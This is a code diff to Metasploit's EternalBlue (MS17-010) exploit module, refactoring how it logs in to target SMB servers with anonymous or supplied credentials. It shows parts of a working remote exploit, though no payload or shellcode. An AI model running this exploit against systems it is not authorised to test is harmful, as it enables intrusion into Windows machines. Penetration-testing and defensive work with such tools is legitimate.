diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index d33622042c..1061052334 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -29,10 +29,9 @@ class MetasploitModule < Msf::Exploit::Remote run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. - The module will attempt to use Anonymous login to authenticate to perform the - exploit. If Anonymous login fails and credentials have been supplied via the - SMBUser, SMBPass, and SMBDomain datastore options, then it will try the exploit - again with those credentials. + The module will attempt to use Anonymous login, by default, to authenticate to perform the + exploit. If the user supplies credentials in the SMBUser,SMBPass, and SMBDomain options it will use + those instead. }, 'Author' => [ @@ -93,9 +92,9 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ), OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ), OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ), - OptString.new('SMBUser', [ false, '(Fallback) The username to authenticate as', '']), - OptString.new('SMBPass', [ false, '(Fallback) The password for the specified username', '']), - OptString.new('SMBDomain', [ false, '(Fallback) The Windows domain to use for authentication', '.']), + OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']), + OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']), + OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']), ]) end @@ -292,26 +291,15 @@ class MetasploitModule < Msf::Exploit::Remote def smb1_anonymous_connect_ipc sock = connect(false) dispatcher = RubySMB::Dispatcher::Socket.new(sock) - client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '') + client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass) response_code = client.login - authed = false unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS - client = authenticated_login(dispatcher) - authed = true + raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}" end os = client.peer_native_os - begin - tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") - rescue RubySMB::Error::UnexpectedStatusCode => e - if authed - raise e - else - client = authenticated_login - tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") - end - end + tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") return client, tree, sock, os end @@ -342,7 +330,7 @@ class MetasploitModule < Msf::Exploit::Remote def smb1_free_hole(start) sock = connect(false) dispatcher = RubySMB::Dispatcher::Socket.new(sock) - client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '') + client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass) client.negotiate pkt = "" @@ -658,25 +646,33 @@ class MetasploitModule < Msf::Exploit::Remote end - def authenticated_login(dispatcher) - if datastore['SMBUser'].present? && datastore['SMBPass'].present? - client = RubySMB::Client.new( - dispatcher, - smb1: true, - smb2: false, - username: datastore['SMBUser'], - password: datastore['SMBPass'], - domain: datastore['SMBDomain'] - ) - response_code = client.login - unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS - raise RubySMB::Error::UnexpectedStatusCode, "Error with credentialed login: #{response_code.to_s}" - end + # Returns the value to be passed to SMB clients for + # the password. If the user hs not supplied a password + # it returns an empty string to trigger an anonymous + # logon. + # + # @return [String] the password value + def smb_pass + if datastore['SMBPass'].present? + datastore['SMBPass'] else - raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login: #{response_code.to_s}" + '' + end + end + + # Returns the value to be passed to SMB clients for + # the username. If the user hs not supplied a username + # it returns an empty string to trigger an anonymous + # logon. + # + # @return [String] the username value + def smb_user + if datastore['SMBUser'].present? + datastore['SMBUser'] + else + '' end - client end end